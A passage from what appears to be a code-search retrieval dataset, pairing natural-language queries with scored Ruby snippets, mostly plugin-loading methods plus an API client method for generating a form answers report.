fail_start_dependencies(plugin)\n else\n num += 1\n end\n end\n end", "title": "" }, { "docid": "59b5b13f368e88758e0a576ba1a4a672", "score": "0.6665252", "text": "def plugins_to_load\n if configuration.plugins.nil?\n find_plugins(configuration.plugin_paths).sort\n elsif !configuration.plugins.empty?\n plugin_paths = find_plugins(configuration.plugin_paths)\n configuration.plugins.collect {|name| plugin_paths.find {|path| Plugin.name_for(path) == name}}\n end \n end", "title": "" }, { "docid": "3f02ab06bc2da94ef7cb92502d984493", "score": "0.66619956", "text": "def add_plugin_load_paths\n plugin_loader.add_plugin_load_paths\n end", "title": "" }, { "docid": "3f02ab06bc2da94ef7cb92502d984493", "score": "0.66619956", "text": "def add_plugin_load_paths\n plugin_loader.add_plugin_load_paths\n end", "title": "" }, { "docid": "f3d9c95de17b31b11f815adbcc2ae0b6", "score": "0.66313016", "text": "def on_dir_autoloaded(dir); end", "title": "" }, { "docid": "8f13f30c28b7ca3003a5af247f9e20bc", "score": "0.66164756", "text": "def locate_plugins; end", "title": "" }, { "docid": "5479852a21973850179bc12cd01fb62a", "score": "0.66061455", "text": "def load_plugins_from_files\n \n # DONE - CARGAR los plugins que hay en @plugin_names en vez de todos \n \n # the plugin_name changes to file using plugin_name.decamelize \n @plugin_names.each do |plugin_name|\n plugin_file = plugin_name.decamelize\n require plugin_file\n end\n \n end", "title": "" }, { "docid": "585604be21a3a5fefb6d5444f7faec9a", "score": "0.6602374", "text": "def load_plugins\n super\n extension_loader.load_extensions\n end", "title": "" }, { "docid": "10fbe0ead40387b45918460d130881d8", "score": "0.6580777", "text": "def load_plugins\n @plugins.each do |plugin|\n plugin.activate! if plugin.enabled?\n end\n end", "title": "" }, { "docid": "6482c9600558533b2232ea4724320dba", "score": "0.6514967", "text": "def scan_plugins\n # Allow both the old and new directory layouts\n # old: ./plugins/['providers']/[plugin-name]/*.json new: ./plugins/[plugin-name]/*.json\n (Dir[\"#{File.expand_path(File.dirname(__FILE__))}/plugins/*/*/*.json\"] +\n Dir[\"#{File.expand_path(File.dirname(__FILE__))}/plugins/*/*.json\"] # +\n # TODO: Add this back once we figure out how to pass the work_dir to PluginManager\n # Dir[\"#{@plugin_env[:work_dir]}/plugins/*/*.json\"]\n ).each do |jsonfile|\n begin\n log.debug \"pluginmanager scanning #{jsonfile}\"\n jsondata = JSON.parse(IO.read(jsonfile))\n\n raise \"missing 'name' field when loading plugin #{jsonfile}\" unless jsondata.key?('name')\n\n p_name = jsondata['name']\n # p_description = jsondata['description'] || \"No description found\"\n p_providertypes = jsondata['providertypes'] || []\n p_automatortypes = jsondata['automatortypes'] || []\n\n log.debug \"plugin \\\"#{p_name}\\\" configures providers: #{p_providertypes} and automators #{p_automatortypes}\"\n\n p_providertypes.each do |providertype|\n raise \"declared providertype \\\"#{providertype}\\\" is not defined\" unless jsondata.key?(providertype)\n raise \"declared providertype \\\"#{providertype}\\\" already defined in another plugin\" if @providermap.key?(providertype)\n\n raise \"providertype \\\"#{providertype}\\\" does not define an implementor classname\" unless jsondata[providertype].key?('classname')\n\n # require every .rb file in the plugin top-level directory\n Dir[\"#{File.dirname(jsonfile)}/*.rb\"].each { |file| require file }\n # check ancestor to determine plugin type\n klass = Object.const_get(jsondata[providertype]['classname'])\n if klass.ancestors.include? Object.const_get('Coopr').const_get('Plugin').const_get('Provider')\n raise \"plugin \\\"#{p_name}\\\" attempting to load duplicate provider type \\\"#{providertype}\\\"\" if @providermap.key?(providertype)\n\n @providermap.merge!(providertype => jsondata[providertype])\n else\n raise \"Declared provider \\\"#{providertype}\\\" implementation class \" \\\n \"\\\"#{jsondata[providertype]['classname']}\\\" must extend Coopr::Plugin::Provider class\"\n end\n end\n\n p_automatortypes.each do |automatortype|\n raise \"declared automatortype \\\"#{automatortype}\\\" is not defined\" unless jsondata.key?(automatortype)\n raise \"declared automatortype \\\"#{automatortype}\\\" already defined in another plugin\" if @providermap.key?(automatortype)\n\n raise \"automatortype \\\"#{automatortype}\\\" does not define an implentor classname\" unless jsondata[automatortype].key?('classname')\n\n # require every .rb file in the plugin top-level directory\n Dir[\"#{File.dirname(jsonfile)}/*.rb\"].each { |file| require file }\n # check ancestor to determine plugin type\n klass = Object.const_get(jsondata[automatortype]['classname'])\n if klass.ancestors.include? Object.const_get('Coopr').const_get('Plugin').const_get('Automator')\n raise \"plugin \\\"#{p_name}\\\" attempting to load duplicate automator type \\\"#{automatortype}\\\"\" if @automatormap.key?(automatortype)\n\n @automatormap.merge!(automatortype => jsondata[automatortype])\n else\n raise \"Declared automator \\\"#{automatortype}\\\" implementation class \" \\\n \"\\\"#{jsondata[automatortype]['classname']}\\\" must extend Coopr::Plugin::Automator class\"\n end\n end\n rescue JSON::ParserError => e\n log.error \"Could not load plugin, invalid json at #{jsonfile}: #{e.message}\"\n @load_errors.push(\"Could not load plugin, invalid json at #{jsonfile}\")\n next\n rescue StandardError => e\n log.error \"Could not load plugin at #{jsonfile}: #{e.message}\"\n @load_errors.push(\"Could not load plugin at #{jsonfile}\")\n next\n end\n end\n end", "title": "" }, { "docid": "12daf2094f35422da86c052589c9ee5a", "score": "0.64941025", "text": "def load_all\n for plugin in list\n load plugin\n end\n end", "title": "" }, { "docid": "c28a0dcef58999363ee109fbb402553b", "score": "0.64919686", "text": "def scan_plugins\n # Allow both the old and new directory layouts\n # old: ./plugins/['providers']/[plugin-name]/*.json new: ./plugins/[plugin-name]/*.json\n (Dir[\"#{File.expand_path(File.dirname(__FILE__))}/plugins/*/*/*.json\"] +\n Dir[\"#{File.expand_path(File.dirname(__FILE__))}/plugins/*/*.json\"] # +\n # TODO: Add this back once we figure out how to pass the work_dir to PluginManager\n # Dir[\"#{@plugin_env[:work_dir]}/plugins/*/*.json\"]\n ).each do |jsonfile|\n begin\n log.debug \"pluginmanager scanning #{jsonfile}\"\n jsondata = JSON.parse( IO.read(jsonfile) )\n\n raise \"missing 'name' field when loading plugin #{jsonfile}\" unless jsondata.key?('name')\n p_name = jsondata['name']\n # p_description = jsondata['description'] || \"No description found\"\n p_providertypes = jsondata['providertypes'] || Array.new\n p_automatortypes = jsondata['automatortypes'] || Array.new\n\n log.debug \"plugin \\\"#{p_name}\\\" configures providers: #{p_providertypes} and automators #{p_automatortypes}\"\n\n p_providertypes.each do |providertype|\n raise \"declared providertype \\\"#{providertype}\\\" is not defined\" unless jsondata.key?(providertype)\n raise \"declared providertype \\\"#{providertype}\\\" already defined in another plugin\" if @providermap.key?(providertype)\n\n raise \"providertype \\\"#{providertype}\\\" does not define an implementor classname\" unless jsondata[providertype].key?('classname')\n # require every .rb file in the plugin top-level directory\n Dir[\"#{File.dirname(jsonfile)}/*.rb\"].each { |file| require file }\n # check ancestor to determine plugin type\n klass = Object.const_get(jsondata[providertype]['classname'])\n if klass.ancestors.include? Object.const_get('Coopr').const_get('Plugin').const_get('Provider')\n raise \"plugin \\\"#{p_name}\\\" attempting to load duplicate provider type \\\"#{providertype}\\\"\" if @providermap.key?(providertype)\n @providermap.merge!({providertype => jsondata[providertype]})\n else\n raise \"Declared provider \\\"#{providertype}\\\" implementation class \" \\\n \"\\\"#{jsondata[providertype]['classname']}\\\" must extend Coopr::Plugin::Provider class\"\n end\n end\n\n p_automatortypes.each do |automatortype|\n raise \"declared automatortype \\\"#{automatortype}\\\" is not defined\" unless jsondata.key?(automatortype)\n raise \"declared automatortype \\\"#{automatortype}\\\" already defined in another plugin\" if @providermap.key?(automatortype)\n\n raise \"automatortype \\\"#{automatortype}\\\" does not define an implentor classname\" unless jsondata[automatortype].key?('classname')\n # require every .rb file in the plugin top-level directory\n Dir[\"#{File.dirname(jsonfile)}/*.rb\"].each { |file| require file }\n # check ancestor to determine plugin type\n klass = Object.const_get(jsondata[automatortype]['classname'])\n if klass.ancestors.include? Object.const_get('Coopr').const_get('Plugin').const_get('Automator')\n raise \"plugin \\\"#{p_name}\\\" attempting to load duplicate automator type \\\"#{automatortype}\\\"\" if @automatormap.key?(automatortype)\n @automatormap.merge!({automatortype => jsondata[automatortype]})\n else\n raise \"Declared automator \\\"#{automatortype}\\\" implementation class \" \\\n \"\\\"#{jsondata[automatortype]['classname']}\\\" must extend Coopr::Plugin::Automator class\"\n end\n end\n rescue JSON::ParserError => e\n log.error \"Could not load plugin, invalid json at #{jsonfile}: #{e.message}\"\n @load_errors.push(\"Could not load plugin, invalid json at #{jsonfile}\")\n next\n rescue => e\n log.error \"Could not load plugin at #{jsonfile}: #{e.message}\"\n @load_errors.push(\"Could not load plugin at #{jsonfile}\")\n next\n end\n end\n end", "title": "" }, { "docid": "ff0da2589e776ee26d6abf1c6583d5bd", "score": "0.64629835", "text": "def load(*list)\n dir = File.join(Config.root, 'plugins')\n files = list.map do |name|\n name = name.cleanpath\n Dir.glob(File.join(dir, '**', \"#{name}.rb\"))\n end.flatten\n return false if files.empty?\n files.inject(true) do |result,file|\n name = file[(dir.size+1)..-4]\n if @plugins.include?(name)\n\t result\n\t elsif !enabled?(name)\n\t false\n\t else\n begin\n\t plugin = new(name, file, logger)\n @plugins[name] = plugin\n plugin.context { plugin.instance_eval(File.read(file), file) }\n I18n.load_locale(file.sub(/\\.rb$/, '_locale.yml'))\n I18n.load_locale(File.join(File.dirname(file), 'locale.yml'))\n Templates.paths << File.dirname(file)\n logger.debug(\"Plugin #{name} successfully loaded\")\n rescue Exception => ex\n logger.error ex\n @plugins.delete(name)\n false\n end\n\t end\n end\n end", "title": "" }, { "docid": "a152cd4fd6607913e8f24387b9a888a5", "score": "0.6433007", "text": "def load_plugins_from_files_old\n \n # DONE - CARGAR los plugins que hay en @plugin_names en vez de todos\n \n \n \n ignore = ['.','..','plugin.rb']\n #carpeta=Dir.open(\"progs/ruby/seqtrimii/plugins\")\n\n plugins_path = File.expand_path(File.join(File.dirname(__FILE__), \"../plugins\"))\n if !File.exists?(plugins_path)\n \traise \"Plugin folder does not exists\"\n end\n \n # carpeta=Dir.open(plugins_path)\n entries = Dir.glob(File.join(plugins_path,'*.rb'))\n # carpeta.\n entries.each do |plugin|\n if !ignore.include?(plugin)\n require plugin\n end # end if\n end # end each\n end", "title": "" }, { "docid": "a6c20d3699cb349cbb44624dbd1040e6", "score": "0.64149994", "text": "def load\n transition(LOADING)\n begin\n require @plugin_configuration.require_path if @plugin_configuration.require_path\n eval(@plugin_configuration.startup_module).load(self)\n rescue Exception => error\n log_error << \"Error loading #{@plugin_configuration.name}\\n#{error.to_s}\\n#{error.backtrace.join(\"\\n\")}\"\n transition_failure\n end\n end", "title": "" }, { "docid": "14654ba66153d2893d59f21960b4a8d4", "score": "0.6414836", "text": "def add_plugin_load_paths\n configuration.add_plugin_paths(extension_loader.paths(:plugin))\n super\n ActiveSupport::Dependencies.autoload_once_paths -= extension_loader.paths(:load)\n end", "title": "" }, { "docid": "11f692bdaf07d0cf386d8690ce923e69", "score": "0.64013493", "text": "def load_plugins\n @plugins = @pluginClasses.map do |pluginClass|\n pluginClass.new\n end\n @plugins.each do |plugin|\n plugin.init_plugin(self)\n end\n end", "title": "" }, { "docid": "371828117432133c8610323c4bdb80a3", "score": "0.6363542", "text": "def load_slugins\n @slugins.each(&:load!)\n end", "title": "" }, { "docid": "c0f60f1538f6767f8bb6104418383838", "score": "0.6361802", "text": "def directory_plugin_entries\n return @directory_plugin_entries if @directory_plugin_entries\n @directory_plugin_entries = []\n dir_entries(plugins_dir_path).each do |file|\n next unless file.end_with? '.yaml'\n file = file.gsub /\\.yaml$/, ''\n @directory_plugin_entries << File.join(plugins_dir, file) + override_suffix\n end\n @directory_plugin_entries.sort!\n debug \"Found directory plugin elements: #{@directory_plugin_entries.inspect}\"\n @directory_plugin_entries\n end", "title": "" }, { "docid": "eb98da8cfcb5f9b26631b9c0e25893da", "score": "0.6327829", "text": "def load_plugins(plugins)\n @plugins = plugins\n end", "title": "" }, { "docid": "2acbb72c787f2b52801a82f91af99990", "score": "0.6319284", "text": "def load_plugins(plugins)\n plugins.sort{|a,b| a.name<=>b.name}.each do |plugin|\n begin\n logger.debug(\"Loading plugin: %s from: %s\",plugin.name,plugin.file)\n DynamicLoader.new{plugin}.load(plugin.file)\n @plugins << plugin\n rescue\n logger.error(\"failed to load plugin:\",$!)\n exit if config[:exit_on_load_error]\n end\n end\n end", "title": "" }, { "docid": "172f27383e7edf48157b9238d57c19ed", "score": "0.6310183", "text": "def load_dir(dir); end", "title": "" }, { "docid": "172f27383e7edf48157b9238d57c19ed", "score": "0.6310183", "text": "def load_dir(dir); end", "title": "" }, { "docid": "07a437f709da1258a117120bea4a525c", "score": "0.63015", "text": "def load_plugins(project)\n Plugin.repository.each do |build_plugin|\n id, _ = build_plugin.instance_method(:initialize).source_location\n unless @@plugins_hash[id.to_sym]\n plugin = build_plugin.new(id)\n @@plugins_hash[id.to_sym] = plugin\n plugin.add_plugin_settings_to_project(project)\n end\n end\n end", "title": "" }, { "docid": "e15b2a1c3c18c4d513998bb3197b1286", "score": "0.62773925", "text": "def load_plugins_with_plugin_dependencies\n if configuration.plugins.nil?\n load_plugins_without_plugin_dependencies\n elsif !configuration.plugins.empty?\n plugin_paths = find_plugins(configuration.plugin_paths)\n configuration.plugins.each do |name|\n name = name.to_a.first\n path = plugin_paths.find {|p| plugin_name(p) == name}\n raise(LoadError, \"Cannot find the plugin '#{name}'!\") if path.nil?\n load_plugin path\n end\n \n $LOAD_PATH.uniq!\n end\n end", "title": "" }, { "docid": "04029a3db310b4c5d6305143c43c7c63", "score": "0.6274359", "text": "def plugins\n return @@plugins if @@plugins\n directories = @@directories.collect do |d|\n File.expand_path(\"#{d}/*automaton-*/\")\n end\n @@plugins = Dir[*directories].collect do |d|\n Plugin.new(d)\n end\n @@plugins.compact!\n @@plugins\n end", "title": "" }, { "docid": "1b3b0cddf3b31db1be3811b23785bd6d", "score": "0.6243846", "text": "def getPluginLoader\n @plugin_loader\n end", "title": "" }, { "docid": "1b3b0cddf3b31db1be3811b23785bd6d", "score": "0.6243846", "text": "def getPluginLoader\n @plugin_loader\n end", "title": "" }, { "docid": "1f3ebac058d627bc1b46de87c7cef9be", "score": "0.62382835", "text": "def load_files(path = File.dirname(__FILE__))\n Dir.glob(path + '/**/*.rb').each do |file|\n load_one_file(file) if file != __FILE__ && File.basename(file) != 'plugin.rb'\n end\n end", "title": "" }, { "docid": "c24bb9f358ad3f66e4c6be6410d9d363", "score": "0.622747", "text": "def availPlugins\n list = Array.new\n Dir.open(@pluginDir).each do |f|\n list << filename_to_class(f).sub(/\\.rb$/,'') \\\n if f =~ /^[^\\.].*\\.rb$/\n end\n list\n end", "title": "" }, { "docid": "3ac10b838a218ece9bf2a86338f252e2", "score": "0.6225359", "text": "def load_plugin(file)\n require file\n plugin = File.basename(file, \".rb\").capitalize\n @plugins << Object.const_get(:Servbot).const_get(:Plugins)\\\n .const_get(plugin).new\n end", "title": "" }, { "docid": "c1af610522cb00512a4c5f91a840a237", "score": "0.6201261", "text": "def start_plugin(path)\n Thread.new do\n begin\n load_plugin path\n enable_plugin path\n rescue\n puts \"Problem starting #{path}: #{$!}\"\n end\n end\n end", "title": "" }, { "docid": "437e103cff3ca50b30d5330c2b089b31", "score": "0.6198442", "text": "def plugins_dir\n resource[:plugins_dir]\n end", "title": "" }, { "docid": "e28fe5b596f3199813ecfef7c2f74acb", "score": "0.61950004", "text": "def plugin_paths\n check_subdirectory('vendor/plugins')\n end", "title": "" }, { "docid": "56fe88502976e1d6a85978ef1c05c27e", "score": "0.61897606", "text": "def load_gems\n Bundler.require(:plugins)\n end", "title": "" }, { "docid": "aba1395ffd5e8aa897a9679950b901d0", "score": "0.61887854", "text": "def load_installed(path, options = {})\n options = options.reverse_merge(force: true, allow_failure: true)\n load_file(path, options)\n rescue PluginSyntaxError, PluginLoadError => ex\n err_msg = \"could not load plugin at '#{path}': #{ex.message}\"\n options[:allow_failure] ? log.debug(err_msg) : abort(PluginLoadError.new(err_msg))\n nil\n end", "title": "" }, { "docid": "bf6a83df755b64e915808b7c6277515d", "score": "0.61873037", "text": "def load_user_task_plugins\n Dir[File.join(DynTask.cfg_dir[:plugins],\"*.rb\")].each {|lib| require lib} if File.exists? DynTask.cfg_dir[:plugins]\n end", "title": "" }, { "docid": "47d826239d56f86b540a4e801329ba01", "score": "0.6179844", "text": "def load(rescan: false) # :nodoc:\n @found ||= {}\n @loaded ||= {}\n @files = nil unless defined?(@files)\n\n if @files.nil? || rescan\n @files = Gem.find_files(\"cartage/plugins/*.rb\")\n end\n\n @files.reverse_each do |path|\n name = File.basename(path, \".rb\").to_sym\n @found[name] = path\n end\n\n :repeat while @found.map { |name, plugin|\n load_plugin(name, plugin)\n }.any?\n end", "title": "" }, { "docid": "4fdaf0ae85b7005b9693919fb1d3c3a2", "score": "0.6176825", "text": "def all_plugins\n Dir[\"#{Plugins.root}/**/*_plugin.rb\"]\n end", "title": "" }, { "docid": "9a068ceb8e7e9d0ae15046975f5efbcd", "score": "0.61538655", "text": "def find_plugin_load_paths(app_path)\n load_paths = Rails.plugins.inject([]) do |load_paths, plugin|\n plugin_file = plugin.find_file(app_path)\n load_paths << File.expand_path(plugin_file) if plugin_file\n load_paths\n end\n end", "title": "" }, { "docid": "2455deec026e572c515b0336cb692ff8", "score": "0.6148768", "text": "def load_from_plugins(original_file, method = :load)\n file = full_file_path_for(original_file, method)\n \n processed = false\n \n # If the file eixsts, then there's no need to look for it in the load path\n if File.exists?(file)\n file = File.expand_path(file)\n first_file_in_load_path = nil # We don't know this value yet\n \n # Otherwise if the file doesn't exist and the path being loaded is NOT an\n # absolute path, then search for in $LOAD_PATH\n elsif !Pathname.new(file).absolute?\n file = first_file_in_load_path = find_in_load_path(file)\n else\n file = nil\n end\n \n # We can try to load the file from our plugins if:\n # (1) A valid (already expanded) file was found\n # (2) An app path could be matched from the file (see +find_app_path+ for\n # what this constitutes)\n if file && (app_path = find_app_path(file))\n load_paths = find_plugin_load_paths(app_path)\n \n if !load_paths.empty?\n # If we don't already know what the first file is going to be in the\n # load path, then attempt to find it in our main application's app/\n # folder. This handles loading absolute files from plugin directories\n # when the class also exists in the application's directory\n first_file_in_load_path ||= find_main_app_file(app_path)\n load_paths << first_file_in_load_path if first_file_in_load_path\n load_paths.uniq!\n \n # Load each file, making sure to use the original file that was given\n # to +load+ or +require+ when possible\n load_paths.each do |load_path|\n load_path = original_file if load_path == file\n \n new_result = send(\"#{method}_without_appable_plugins\", load_path)\n processed = true\n end\n end\n end\n \n processed\n end", "title": "" }, { "docid": "91ec3df7ff18ca4872f3dfee2b56c209", "score": "0.6148412", "text": "def plugins\n @plugins ||= split_file_names 'PLUGIN' do |p| \n File.join('vendor/plugins', p, 'init.rb')\n end\n end", "title": "" }, { "docid": "660654c093c08afa3ae449ebdd8f38ca", "score": "0.614131", "text": "def load_plugin(plugin_id)\n directory = File.join(PLUGINS_AVAILABLE_DIR, plugin_id)\n\n if File.directory?(directory)\n lib = File.join(directory, 'lib')\n if File.directory?(lib)\n $:.unshift lib\n ActiveSupport::Dependencies.autoload_paths += [lib]\n end\n initializer = File.join(directory, 'init.rb')\n if File.file?(initializer)\n require initializer\n end\n end\n end", "title": "" }, { "docid": "6cd3990439a097e240066ce34e8935dc", "score": "0.612828", "text": "def ohai_plugin_load_start(file_count); end", "title": "" }, { "docid": "3c04779c6c8d43ea8b8e1186a98e3842", "score": "0.6127173", "text": "def load(plugins)\n puts \"## Initializing modules:\"\n plugins.each do |handler|\n puts \"## => #{handler}.new => loading handlers/#{handler.to_underscore}.rb\"\n require_relative \"../handlers/#{handler.to_underscore}.rb\"\n register_handler eval(handler).new\n end\n puts \"##\"\n end", "title": "" }, { "docid": "c76243ebdcd5ac5589ca182e02faf2ef", "score": "0.6122237", "text": "def locate_plugins_under(base_path)\r\n Dir.glob(File.join(base_path, '*')).sort.inject([]) do |plugins, path|\r\n if plugin = create_plugin(path)\r\n plugins << plugin\r\n elsif File.directory?(path)\r\n plugins.concat locate_plugins_under(path)\r\n end\r\n plugins\r\n end\r\n end", "title": "" }, { "docid": "c0b8281dd2afb5d505d747d05d0e9a3d", "score": "0.6112236", "text": "def on_dir_autoloaded(dir)\n parent, cname = autoloads[dir]\n\n autovivified_module = parent.const_set(cname, Module.new)\n log(\"module #{autovivified_module.name} autovivified from directory #{dir}\") if logger\n\n loaded_cpaths.add(autovivified_module.name)\n on_namespace_loaded(autovivified_module)\n end", "title": "" }, { "docid": "760cb10c623aee4080d3a3a0f98c375d", "score": "0.61055464", "text": "def initialize paths, pipeline\n self.legacy_plugins = {}\n \n paths.each do |folder|\n folder = Pathname.new(folder)\n Pathname.glob(File.join(folder, \"**/*.rb\")).sort.each do |file|\n module_name = file.relative_path_from(folder).to_s.gsub(\"/\",\"::\")[0..-4]\n begin\n legacy_plugins[ module_name ] = Yapra::LegacyPlugin::Base.new(pipeline, file)\n logger.debug \"#{module_name} is loaded from #{file}\"\n rescue LoadError => ex\n logger.warn \"#{module_name} can't load, because: #{ex.message}\"\n end\n end\n end\n end", "title": "" }, { "docid": "f96ad3f7083c6e8e656370b010c32396", "score": "0.6086934", "text": "def load_plugin_map; end", "title": "" }, { "docid": "87ce3b2e5140212945daa3876ab43e4b", "score": "0.60768217", "text": "def install\n # Load the plugin\n self.load\n # Also, if there is an \"install.rb\" script present, run that to setup anything the plugin needs (database tables etc)\n require File.join(self.path, \"install.rb\") if File.exists?(File.join(self.path, \"install.rb\"))\n rescue Exception => err\n # Catch the error, delete the plugin, and raise an error again\n self.destroy!\n raise \"Error installing plugin: #{err.message}!\"\n end", "title": "" }, { "docid": "73319a8a5f995722dd89ca9506307ed1", "score": "0.6060012", "text": "def load!\n begin\n require name unless enabled?\n rescue LoadError => error\n puts(\"Unable to load plugin #{name} due to #{error}.\")\n rescue => error\n puts(\"require '#{name}' failed with #{error}\")\n end\n @enabled = true\n end", "title": "" }, { "docid": "2fc14c2a1245e5b0ec0b02837f056d63", "score": "0.6056686", "text": "def find_script_plugins(config)\r\n base_path = config[:plugins][:base_path]\r\n \r\n return if base_path.empty?\r\n \r\n config[:plugins][:enabled].each do |plugin|\r\n script_plugin_path = File.join(base_path, plugin, \"#{plugin}.rb\")\r\n @script_plugins << plugin if @file_wrapper.exist?(script_plugin_path)\r\n end\r\n \r\n return @script_plugins \r\n end", "title": "" } ]
6835d71047c8ab4d64959faaa5bb9197
Generate form answers report Generates a new form answers report
[ { "docid": "4f679adb9efeabbfbe67ac3ba0eaab20", "score": "0.66611034", "text": "def generate_form_answers_report_with_http_info(generate_form_answers_report, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdvancedReportsApi.generate_form_answers_report ...'\n end\n # verify the required parameter 'generate_form_answers_report' is set\n if @api_client.config.client_side_validation && generate_form_answers_report.nil?\n fail ArgumentError, \"Missing the required parameter 'generate_form_answers_report' when calling AdvancedReportsApi.generate_form_answers_report\"\n end\n # resource path\n local_var_path = '/reports/advanced/form-answers'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(generate_form_answers_report)\n\n # return_type\n return_type = opts[:debug_return_type] || 'AcceptedResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['Apikey']\n\n new_options = opts.merge(\n :operation => :\"AdvancedReportsApi.generate_form_answers_report\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdvancedReportsApi#generate_form_answers_report\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "4c538720e29830d73dbb88a66823dfc7", "score": "0.72915417", "text": "def generate_form_answers_report(generate_form_answers_report, opts = {})\n data, _status_code, _headers = generate_form_answers_report_with_http_info(generate_form_answers_report, opts)\n data\n end", "title": "" }, { "docid": "0e0f3a8662b3c111e2b231fcce7b8d82", "score": "0.67270225", "text": "def answer_form\n AnswerForm.new(view_context)\n end", "title": "" }, { "docid": "e8856d692c936f7054f4916af2c1785e", "score": "0.6520493", "text": "def answers\n card = @generation.question_card.question_card\n @answers = @generation.variants.map do |v|\n tasks = Nokogiri::HTML(card).css('.task').map do |task|\n gen_task = v.generated_tasks.find_by(task_in_card: task[:id].to_i)\n task_text = generate_task_text( gen_task )\n t = gen_task.task\n\n generated_variables = gen_task.generated_variables.map { |var| [var.variable.name, var.value] }.to_h\n\n t.calculated_variables.each do |var|\n res = calculate(var.formula, generated_variables)\n generated_variables[var.name] = res\n end\n answer = paste_variables(t.answer, generated_variables)\n\n {\n name: task[:task_name],\n task: t,\n task_text: task_text,\n answer: answer\n }\n end\n {\n variant: v.number,\n tasks_in_card: tasks\n }\n end\n\n respond_to do |format|\n format.html { render layout: false }\n format.pdf do\n orientation = params[:orientation] ? 'Portrait' : 'Landscape'\n render pdf: \"answers\", # Excluding \".pdf\" extension.\n orientation: orientation\n end\n end\n end", "title": "" }, { "docid": "e5efe40aec12f6ef25798af238bbed64", "score": "0.63391674", "text": "def answers\n record_collection.map.with_index(1) do |person, index|\n [\n Separator.new(\"#{name}_index_title\", index:),\n FreeTextAnswer.new(:person_full_name, person.full_name),\n FreeTextAnswer.new(:person_privacy_known, person.privacy_known.try(:capitalize)),\n contact_details_privacy_preferences(person),\n previous_name_answer(person),\n Answer.new(:person_sex, person.gender),\n DateAnswer.new(:person_dob, person.dob,\n show: respondents_only && person.dob_estimate.blank?),\n DateAnswer.new(:person_dob_estimate, person.dob_estimate),\n FreeTextAnswer.new(:person_birthplace, person.birthplace),\n FreeTextAnswer.new(:person_address,\n data_or_private(person, person.full_address, ContactDetails::ADDRESS.to_s),\n show: true),\n Answer.new(:person_residence_requirement_met, person.residence_requirement_met),\n FreeTextAnswer.new(:person_residence_history, person.residence_history,\n show: person.residence_requirement_met == 'no'),\n FreeTextAnswer.new(:person_email,\n data_or_private(person, email_answer(person), ContactDetails::EMAIL.to_s)),\n FreeTextAnswer.new(:person_home_phone,\n data_or_private(person,\n home_phone_answer(person),\n ContactDetails::HOME_PHONE.to_s)),\n FreeTextAnswer.new(:person_mobile_phone,\n data_or_private(\n person, mobile_phone_answer(person), ContactDetails::MOBILE.to_s\n )),\n Answer.new(:person_voicemail_consent, person.voicemail_consent), # This shows only if a value is present\n FreeTextAnswer.new(\n :person_relationship_to_children,\n RelationshipsPresenter.new(c100_application).relationship_to_children(\n person, show_person_name: false, bypass_c8: bypass_relationships_c8?\n )\n ),\n Partial.row_blank_space,\n ]\n end.flatten.select(&:show?)\n end", "title": "" }, { "docid": "cda624c5ff06ae54863ecb82019f116d", "score": "0.6334518", "text": "def render_answer_form(form, question_entity)\n prefix = prefix_for_form(form) + \"[answers]\"\n answer = form.object.build_answers # answer belonging to answer_responder(form.object)\n answer.questionnaire_run_id = question_entity.run_id # answer also belongs to question_entity\n options = question_entity.options_from_question\n case question_entity.question_type\n when Questionnaire::Free_Form_Type\n render :partial => \"answers/textarea_answering\",\n :locals => {:answer => answer, :prefix => prefix}\n when Questionnaire::Single_Choice_Type\n render :partial => \"answers/radio_answering\",\n :locals => {:answer => answer, :prefix => prefix, :options => options}\n when Questionnaire::Multiple_Choice_Type\n render :partial => \"answers/checkbox_answering\",\n :locals => {:answer => answer, :prefix => prefix, :options => options}\n end \n end", "title": "" }, { "docid": "87591c00212ffd8a5e7d61a67ef75757", "score": "0.62738943", "text": "def form_template(options = {}) # value = nil, disabled = false, show_all = true)\n\t\tdisabled = options[:disabled] ? true : false\n\t\tanswer = options[:answers]\n\t\tshow_all = options[:show_all] && true || false\n\t\tfast = options[:fast] ? true : false\n\t\tedit = options[:edit] ? true : false\n\t\tonclick = options[:onclick] || \"onclick='toggleRadio(this)'\"\n\t\tno = options[:number].to_s || self.question.number.to_s\n\t\tswitch_off = options[:switch_off]\n\t\tc_id = cell_id(no)\n\n\t\tnewform = []\n\t\tquestion_no = \"Q#{no}\" # self.question.number.to_s\n\t\tchecked = false\n\n\t\tq_items = self.question_items\n\t\t\n\t\tq_items.each_with_index do |item, i|\n\t\t span = inner_span(q_items.size-1 == i)\n\t\t\tswitch_src = (i > 0) ? switch_source(options) : \"\" # set switch on positive answers; 0 is 'no'\n \t\t\n\t\t\tif show_all\n\t\t\t\tchecked = (value == item.value ? 'checked=\"checked\"' : nil)\n\t\t\t\tswitch = ((switch_src.blank? || switch_off) ? nil : \"class='rating #{switch_src}'\")\n\t\t\t\tdisable = (disabled ? \"disabled\" : nil)\n\t\t\t\t# id = \"id='#{c_id.strip}_#{i}'\"\n\t\t\t\tnewform << div_item(\n\t\t\t\t\"<input id='#{c_id}_#{i}' #{onclick} name='#{question_no}[#{c_id}]' type='radio' value='#{item.value}' #{switch} #{disable} #{checked} >\" + # removed />\n\t\t\t\t(item.text.blank? ? \"\" : \"<label class='radiolabel' for='#{c_id}_#{i}'>#{item.text}</label>\"), \"radio #{span} #{(i+1)==q_items.length ? self.validation : \"\"}\".rstrip)\n\t\t\telse # show only answers, not all radiobuttons, disabled\n\t\t\t\tnewform << if value == item.value # show checked radiobutton\n span_item(\"<input id='#{c_id}_#{i}' name='#{question_no}[#{c_id}]' type='radio' value='#{item.value}' checked='checked'\" +\n \t\t\t\t\t(disabled ? \" disabled\" : \"\") + 